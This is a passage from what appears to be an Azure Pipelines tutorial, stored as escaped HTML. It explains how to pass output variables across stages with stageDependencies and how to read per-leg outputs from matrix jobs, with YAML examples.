access\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eIntegrationTests\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#75715e\"\u003e# stageDependencies: stage name, then job name, then outputs accessor\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eimageTag\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$[ stageDependencies.BuildStage.BuildJob.outputs[\u0026#39;computeTag.imageTag\u0026#39;] ]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        echo \u0026#34;Verifying image: $(imageTag)\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        if [ -z \u0026#34;$(imageTag)\u0026#34; ]; then\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e          echo \u0026#34;##vso[task.logissue type=error]imageTag is empty — check BuildStage dependsOn\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e          exit 1\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        fi\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Verify image tag is populated\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Stage 3: Deploy using the tag from Stage 1 — accessed directly, not via Stage 2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployStage\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Deploy\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003eBuildStage   \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# Direct access to BuildStage\u0026#39;s output variables\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003eTestStage    \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# Execution dependency — ensures tests passed first\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eand(succeeded(\u0026#39;BuildStage\u0026#39;), succeeded(\u0026#39;TestStage\u0026#39;))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eimageTag\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$[ stageDependencies.BuildStage.BuildJob.outputs[\u0026#39;computeTag.imageTag\u0026#39;] ]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        echo \u0026#34;Deploying image: $(imageTag)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Deploy $(imageTag)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"propagating-variables-through-an-intermediate-stage\"\u003ePropagating Variables Through an Intermediate Stage\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003estageDependencies\u003c/code\u003e does not provide transitive access. If Stage C depends only on Stage B, and Stage B depends on Stage A, Stage C cannot read Stage A\u0026rsquo;s output variables — they are not in Stage C\u0026rsquo;s \u003ccode\u003estageDependencies\u003c/code\u003e object.\u003c/p\u003e\n\u003cp\u003eTwo solutions:\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eSolution 1 — Direct multi-stage \u003ccode\u003edependsOn\u003c/code\u003e:\u003c/strong\u003e Declare Stage C as depending on both Stage A and Stage B. This gives Stage C direct access to Stage A\u0026rsquo;s outputs without any re-export. This is the simpler approach and the one to use when Stage C logically needs both stages to complete before it runs.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eStageA\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eJobA\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        echo \u0026#34;##vso[task.setvariable variable=buildId;isOutput=true]$(Build.BuildId)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esetId\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Set build ID\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eStageB\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eStageA\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eJobB\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Running integration checks\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eStageC\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003eStageA  \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# Direct dependency — populates stageDependencies.StageA\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003eStageB  \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# Execution dependency — StageC runs after StageB completes\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eJobC\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#75715e\"\u003e# Access StageA\u0026#39;s output directly — no re-export needed\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ebuildId\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$[ stageDependencies.StageA.JobA.outputs[\u0026#39;setId.buildId\u0026#39;] ]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Build ID: $(buildId)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eSolution 2 — Re-export:\u003c/strong\u003e Stage B reads Stage A\u0026rsquo;s output variable via \u003ccode\u003estageDependencies\u003c/code\u003e, assigns it to a local variable, and a step in Stage B emits it with \u003ccode\u003eisOutput=true\u003c/code\u003e under the same or a new name. Stage C then reads Stage B\u0026rsquo;s re-emitted variable. Use this only when Stage C must not depend directly on Stage A for architectural reasons — it adds complexity and a fragile dependency chain.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"matrix-job-output-variables\"\u003eMatrix Job Output Variables\u003c/h2\u003e\n\u003ch3 id=\"the-leg-name-component\"\u003eThe Leg Name Component\u003c/h3\u003e\n\u003cp\u003eWhen the producer is a matrix job, each leg runs as a distinct copy of the job with its own output variable namespace. The leg name — the key in the \u003ccode\u003estrategy.matrix\u003c/code\u003e block — is a required component of the reference path.\u003c/p\u003e\n\u003cp\u003eFull syntax for a matrix output variable reference:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$[ dependencies.MatrixJobName.outputs[\u0026#39;legName.stepName.varName\u0026#39;] ]\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThe leg name is the exact matrix key as defined in the \u003ccode\u003estrategy.matrix\u003c/code\u003e block, case-sensitive.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eTestMatrix\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ematrix\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eNode18\u003c/span\u003e:           \u003cspan style=\"color:#75715e\"\u003e# Leg name — appears verbatim in the outputs accessor\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003enodeVersion\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;18.x\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eNode20\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003enodeVersion\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;20.x\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eNode22\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003enodeVersion\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;22.x\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etask\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eNodeTool@0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003einputs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eversionSpec\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$(nodeVersion)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      # Run tests and emit pass/fail as an output variable for this leg\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      TEST_RESULT=\u0026#34;passed\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      echo \u0026#34;##vso[task.setvariable variable=testResult;isOutput=true]$TEST_RESULT\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003erunTests\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Run tests\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Aggregation job reads each leg by its exact name\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eAggregate\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eTestMatrix\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e# Leg name (\u0026#39;Node18\u0026#39;, \u0026#39;Node20\u0026#39;, \u0026#39;Node22\u0026#39;) prefixes the step name in the accessor\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003enode18Result\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$[ dependencies.TestMatrix.outputs[\u0026#39;Node18.runTests.testResult\u0026#39;] ]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003enode20Result\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$[ dependencies.TestMatrix.outputs[\u0026#39;Node20.runTests.testResult\u0026#39;] ]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003enode22Result\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$[ dependencies.TestMatrix.outputs[\u0026#39;Node22.runTests.testResult\u0026#39;] ]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      echo \u0026#34;Node 18: $(node18Result)\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      echo \u0026#34;Node 20: $(node20Result)\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      echo \u0026#34;Node 22: $(node22Result)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Aggregate test results\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eDots (\u003ccode\u003e.\u003c/code\u003e) and hyphens (\u003ccode\u003e-\u003c/code\u003e) in matrix leg names break the output variable reference path. The path accessor \u003ccode\u003eoutputs['legName.stepName.varName']\u003c/code\u003e uses dots as separators — a dot in the leg name creates an extra path segment that does not resolve to a valid property. Use underscores only in leg names.\u003c/p\u003e\n\u003ch3 id=\"when-leg-names-are-dynamic\"\u003eWhen Leg Names Are Dynamic\u003c/h3\u003e\n\u003cp\u003eWhen the matrix is generated at compile time via \u003ccode\u003e${{ each }}\u003c/code\u003e, the leg names are known during template expansion. The downstream job\u0026rsquo;s \u003ccode\u003evariables:\u003c/code\u003e block can use a matching \u003ccode\u003e${{ each }}\u003c/code\u003e loop to generate the output variable mappings alongside the matrix definition, keeping both in sync.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003enodeVersions\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003eversion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eNode18\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan 